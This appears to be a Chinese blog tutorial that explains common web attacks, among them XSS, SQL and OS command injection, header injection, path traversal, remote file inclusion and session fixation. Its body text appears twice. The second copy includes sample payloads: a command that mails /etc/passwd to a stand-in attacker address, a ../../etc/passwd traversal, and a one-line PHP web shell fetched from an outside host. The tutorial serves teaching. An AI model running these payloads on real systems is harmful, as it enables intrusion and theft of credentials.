HTTP网络协议(五)
2015-09-06 17:09
363 查看
主动攻击:是指攻击通过直接访问Web应用,把攻击代码传入的攻击模式,该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源,例如:SQL注入攻击和OS命令注入攻击。
被动攻击:是指利用圈套策略执行攻击代码的攻击模式,在被动攻击过程中,攻击者不直接对目标Web应用访问发起攻击,例如:跨站脚本攻击和跨站点请求伪造。
被动攻击模式大致步骤:
攻击者诱使用户触发已设置好的陷阱,而陷阱会启动发送已嵌入攻击代码的HTTP请求。
当用户不知不觉中招之后,用户的浏览器或邮件客户端就会触发这个陷阱。
中招后的用户浏览器把含有攻击代码的HTTP请求发送给作为攻击目标的Web应用,运行攻击代码。
执行完攻击代码,存在安全漏洞的Web用用会成为攻击者的跳板,可能导致用户所持的Cookie等个人信息被窃取,登陆状态的用户权限遭恶意滥用等后果。
跨站脚本攻击(XSS):是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。
跨站脚本攻击会带来以下几点影响:
利用虚假输入表单骗取用户个人信息。
利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
显示伪造的文章或图片。
例如:
SQL注入攻击是指指针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击,该攻击可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露。
SQL注入攻击影响一般有以下几点:
非法查看或篡改数据库内的数据。
规避认证。
执行和数据库服务器业务关联的程序。
例如:
OS命令注入攻击是指通过Web应用执行非法的操作系统命令达到攻击的目的,只要在能调用Shell函数的地方就有存在被攻击的风险。
用户要填写的表单:
处理表单的部分核心代码:
程序中的open函数会调用sendmail命令发送邮件,而指定的邮件发送地址即$adr 的值。
攻击者篡改指定的值如下:
程序接受该值,会构成以下的命令组合:
攻击者的输入值中含有分号(;),这个符号在OS命令中,会被解析为分隔多个执行命令的标记,因此该程序就会以邮件的形式发送给了hack@example.jp。
HTTP首部注入攻击是指攻击通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击,属于被动攻击模式。
HTTP首部注入攻击可能会带来以下几点影响:
设置任何Cookie信息。
重定向至任意URL。
显示任意的主体(HTTP响应截断攻击)
HTTP首部注入设置Cookie信息案例:
一旦用户选定类型别,就会在该ID值反映在响应内,比如:选择书籍类别,那么响应内的Locating首部字段就是http://example.com/?id=101,而令浏览器发生重定向跳转。
攻击者篡改选择的内容的类别ID后发送请求:
其中,%0D%0A代表HTTP报文中的换行符,紧接着的是可强制将攻击者网站(http://hackr.jp/)的会话ID设置成SID=123456的Set-Cookie首部字段,发送请求之后,返回以下的响应:
此刻字段Set-Cookie已生效,这样一来可以通过和会话固定攻击(攻击者可使用指定的会话ID)攻击组合,伪装成用户。
HTTP响应截断案例:
比如攻击者在HTTP首部注入以下代码:
发送该请求的后,得到返回的响应如下:
邮件首部注入攻击:是指Web应用中的邮件发送功能,攻击者通过向邮件首部TO或Subject内任意添加非法内容发起的攻击。
用户填写的表单:
攻击者将以下数据作为邮件地址发送请求:
一旦咨询表单所在的Web应用接受了这个换行符,就可能实现对Bcc邮件地址追加发送。
目录遍历攻击:是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的一种攻击,这种攻击有时也称为路径遍历攻击。
假设用户要通过以下URI读取指定的文件:
这个就会从 www/log/文件目录下读取0401.log文件。
攻击者篡改并设置如下的地址发送请求:
那么就会从/www/log/目录开始定位相对路径,读取/ect/password文件。
远程文件包含漏洞:是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。
案例:
通过下面的URI读入查询字段指定的文件:
攻击者篡改为下面形式的URL后发出请求:
这样一来通过system函数就能够在example.com服务器上执行OS命令和cmd=ls显示文件及目录信息来达到目的了。
强制浏览安全漏洞:是指从安置在Web服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件。
强制浏览安全漏洞会带来一下几点影响:
泄露顾客的个人信息等重要情报。
泄露原本需要具有访问权限的用户才可以查阅的信息内容。
泄露未外连到外界的文件。
案例:
尽管用户设置权限只有自己可见,但没有对其账户信息有访问权限的人来说,只要拿到这图片的URI,通过直接指定URL
不正确的错误消息处理的安全漏洞:是指Web应用的错误信息内容包含对攻击者有用的信息,比如:Web应用抛出的错误消息,数据库等系统抛出的错误消息。
开放重定向的安全漏洞:是一种对指定的任意URL作重定向跳转的功能,假如指定的重定向URL到某个具有恶意的Web网站,那么用户就会诱导至那个Web网站。
案例:
本来的URL发生重定向的地址:
攻击者篡改URL将重定向设置为已设好陷阱的Web网站对应的连接,如下:
会话劫持:是指攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击目的,一般手段有这些:通过非正规的生成方法推测会话ID,通过***或XSS攻击盗取会话ID,通过会话固定攻击强行获取会话ID。
案例:
会话固定攻击:强制用户使用攻击者指定的会话ID,属于被动攻击,大致步骤:
攻击者准备陷阱,先访问Web网站拿到会话ID(SID=fgf556655),此刻会话ID在服务器上的记录仍是为认证状态。
攻击者设置好用户使用该会话ID的陷阱,并等待用户拿着这个会话ID前去认证,一旦用户触发陷阱并完成认证,会话ID(SID=fgf556655)在服务器上的状态(用户A已认证)就会被记录下来。
攻击者估计用户差不多已触发陷阱后,在利用之前这个会话ID访问网站。
整个过程如图:
跨站点请求伪造攻击:是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。
跨站点请求伪造攻击一般会带来以下几点影响:
利用已通过认证的用户权限更新设定信息等。
利用已通过认证的用户权限购买商品。
利用已通过认证的用户权限在留言板上发表言论。
案例:
密码破解攻击:计算出密码,突破认证,一般有两种手段:通过网络的密码试错,对已加密密码的破解(指攻击者侵入系统,已获得加密或散列处理的密码数据的情况。)
点击劫持:是指利用透明的按钮或链接做成陷阱,覆盖在Web页面之上,然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段,这种行为又称为界面伪装。
如图:
Dos攻击:是一种让运行中的服务呈停止状态的攻击,有时也叫做服务停止攻击或拒绝服务攻击(多台计算同时发起Dos攻击叫做DDos攻击).
Dos攻击方式有以下两种:
集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也呈停止状态。
通过攻击安全漏洞使服务停止。
后门程序:是指开发设置的隐藏入口,可不按正常步骤使用受限功能。
后门程序有以下3种类型:
开发阶段作为Debug调用的后门程序。
开发者为自身利益植入的后门程序。
攻击者通过某种方法设置的后门程序。
被动攻击:是指利用圈套策略执行攻击代码的攻击模式,在被动攻击过程中,攻击者不直接对目标Web应用访问发起攻击,例如:跨站脚本攻击和跨站点请求伪造。
被动攻击模式大致步骤:
攻击者诱使用户触发已设置好的陷阱,而陷阱会启动发送已嵌入攻击代码的HTTP请求。
当用户不知不觉中招之后,用户的浏览器或邮件客户端就会触发这个陷阱。
中招后的用户浏览器把含有攻击代码的HTTP请求发送给作为攻击目标的Web应用,运行攻击代码。
执行完攻击代码,存在安全漏洞的Web用用会成为攻击者的跳板,可能导致用户所持的Cookie等个人信息被窃取,登陆状态的用户权限遭恶意滥用等后果。
跨站脚本攻击(XSS):是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。
跨站脚本攻击会带来以下几点影响:
利用虚假输入表单骗取用户个人信息。
利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
显示伪造的文章或图片。
例如:
SQL注入攻击是指指针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击,该攻击可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露。
SQL注入攻击影响一般有以下几点:
非法查看或篡改数据库内的数据。
规避认证。
执行和数据库服务器业务关联的程序。
例如:
OS命令注入攻击是指通过Web应用执行非法的操作系统命令达到攻击的目的,只要在能调用Shell函数的地方就有存在被攻击的风险。
用户要填写的表单:
处理表单的部分核心代码:
my $adr =$q->param('mailaddress') open (MALL,"| /user/sbin/sendmail $adr"); print MALL "From: info@example.com\n";
程序中的open函数会调用sendmail命令发送邮件,而指定的邮件发送地址即$adr 的值。
攻击者篡改指定的值如下:
;cat /etc/passwd | mail hack@example.jp
程序接受该值,会构成以下的命令组合:
| /user/sbin/sendmail ; cat/etc/passwd |mail hack@example.jp
攻击者的输入值中含有分号(;),这个符号在OS命令中,会被解析为分隔多个执行命令的标记,因此该程序就会以邮件的形式发送给了hack@example.jp。
HTTP首部注入攻击是指攻击通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击,属于被动攻击模式。
HTTP首部注入攻击可能会带来以下几点影响:
设置任何Cookie信息。
重定向至任意URL。
显示任意的主体(HTTP响应截断攻击)
HTTP首部注入设置Cookie信息案例:
一旦用户选定类型别,就会在该ID值反映在响应内,比如:选择书籍类别,那么响应内的Locating首部字段就是http://example.com/?id=101,而令浏览器发生重定向跳转。
攻击者篡改选择的内容的类别ID后发送请求:
101%0D%0ASet-Cookie:+SID=123456
其中,%0D%0A代表HTTP报文中的换行符,紧接着的是可强制将攻击者网站(http://hackr.jp/)的会话ID设置成SID=123456的Set-Cookie首部字段,发送请求之后,返回以下的响应:
Locating:http://example.com/?id=101(%0D%0A换行符) Set-Cookie:+SID=123456
此刻字段Set-Cookie已生效,这样一来可以通过和会话固定攻击(攻击者可使用指定的会话ID)攻击组合,伪装成用户。
HTTP响应截断案例:
比如攻击者在HTTP首部注入以下代码:
%0D%0A%0D%0A<HTML><HEAD><TITLE>之后,想要显示的网页内容<!
发送该请求的后,得到返回的响应如下:
Set-Cookie:UID=(%0D%0A换行符) (%0D%0A换行符) <HTML><HEAD><TITLE>之后,想要显示的网页内容<!--(原来页面对应的首部字段和主体部分诠释为注释)
邮件首部注入攻击:是指Web应用中的邮件发送功能,攻击者通过向邮件首部TO或Subject内任意添加非法内容发起的攻击。
用户填写的表单:
攻击者将以下数据作为邮件地址发送请求:
bob@hackr.jp%0D%0ABcc: user@example.com
一旦咨询表单所在的Web应用接受了这个换行符,就可能实现对Bcc邮件地址追加发送。
目录遍历攻击:是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的一种攻击,这种攻击有时也称为路径遍历攻击。
假设用户要通过以下URI读取指定的文件:
http://example.com/read.php?log=0401.log
这个就会从 www/log/文件目录下读取0401.log文件。
攻击者篡改并设置如下的地址发送请求:
http://example.com/read.php?log=../../etc/passwd
那么就会从/www/log/目录开始定位相对路径,读取/ect/password文件。
远程文件包含漏洞:是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。
案例:
通过下面的URI读入查询字段指定的文件:
http://example.com/foo.php?mod=news.php
http://example.com/foo.php对应脚本的源码:
$modname=$_GET['mod']; include($modname);
攻击者篡改为下面形式的URL后发出请求:
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls
http://hackr.jp/cmd.php的源码:
<?system($_GET['cmd])?>
这样一来通过system函数就能够在example.com服务器上执行OS命令和cmd=ls显示文件及目录信息来达到目的了。
强制浏览安全漏洞:是指从安置在Web服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件。
强制浏览安全漏洞会带来一下几点影响:
泄露顾客的个人信息等重要情报。
泄露原本需要具有访问权限的用户才可以查阅的信息内容。
泄露未外连到外界的文件。
案例:
尽管用户设置权限只有自己可见,但没有对其账户信息有访问权限的人来说,只要拿到这图片的URI,通过直接指定URL
<img src=”http://csnd.com/beyondboy/img/1255.jpg”>就可以访问其显示的图片了。
不正确的错误消息处理的安全漏洞:是指Web应用的错误信息内容包含对攻击者有用的信息,比如:Web应用抛出的错误消息,数据库等系统抛出的错误消息。
开放重定向的安全漏洞:是一种对指定的任意URL作重定向跳转的功能,假如指定的重定向URL到某个具有恶意的Web网站,那么用户就会诱导至那个Web网站。
案例:
本来的URL发生重定向的地址:
http://example.com/?redirect=http://www.tricorder.jp
攻击者篡改URL将重定向设置为已设好陷阱的Web网站对应的连接,如下:
http://example.com/?redirect=http://hackr.jp
会话劫持:是指攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击目的,一般手段有这些:通过非正规的生成方法推测会话ID,通过***或XSS攻击盗取会话ID,通过会话固定攻击强行获取会话ID。
案例:
会话固定攻击:强制用户使用攻击者指定的会话ID,属于被动攻击,大致步骤:
攻击者准备陷阱,先访问Web网站拿到会话ID(SID=fgf556655),此刻会话ID在服务器上的记录仍是为认证状态。
攻击者设置好用户使用该会话ID的陷阱,并等待用户拿着这个会话ID前去认证,一旦用户触发陷阱并完成认证,会话ID(SID=fgf556655)在服务器上的状态(用户A已认证)就会被记录下来。
攻击者估计用户差不多已触发陷阱后,在利用之前这个会话ID访问网站。
整个过程如图:
跨站点请求伪造攻击:是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。
跨站点请求伪造攻击一般会带来以下几点影响:
利用已通过认证的用户权限更新设定信息等。
利用已通过认证的用户权限购买商品。
利用已通过认证的用户权限在留言板上发表言论。
案例:
密码破解攻击:计算出密码,突破认证,一般有两种手段:通过网络的密码试错,对已加密密码的破解(指攻击者侵入系统,已获得加密或散列处理的密码数据的情况。)
点击劫持:是指利用透明的按钮或链接做成陷阱,覆盖在Web页面之上,然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段,这种行为又称为界面伪装。
如图:
Dos攻击:是一种让运行中的服务呈停止状态的攻击,有时也叫做服务停止攻击或拒绝服务攻击(多台计算同时发起Dos攻击叫做DDos攻击).
Dos攻击方式有以下两种:
集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也呈停止状态。
通过攻击安全漏洞使服务停止。
后门程序:是指开发设置的隐藏入口,可不按正常步骤使用受限功能。
后门程序有以下3种类型:
开发阶段作为Debug调用的后门程序。
开发者为自身利益植入的后门程序。
攻击者通过某种方法设置的后门程序。
相关文章推荐
- 从头开始实现一个神经网络
- Linux 网络编程学习---线程
- tomcat 配置https
- Socket连接与HTTP连接
- Android知识点5-Universal_image_loader加载网络图片
- Win7 网络连不上 提示 依赖服务或组无法启动
- android拍照并通过Http发送到Java后台
- 计算机网络学习之路01--概念详解
- 链路层网络编程技术
- ASIHTTPRequest类库简介和使用说明
- HDU - 1733 Escape(网络流层次模型)
- 网络负载问题
- HTTP协议简介2
- 快速Android开发系列网络篇之Android-Async-Http
- 对于System.Net.Http的学习(一)——System.Net.Http 简介
- 浏览器同源策略以及跨域请求时可能遇到的问题
- W5500 TCP/IP芯片 官方库文件阅读
- 博客已经迁移至 http://barretlee.com/entry/,时而同步分享到这里
- iOS开发网络--XML解析基础
- iOS开发网络 -- JSON解析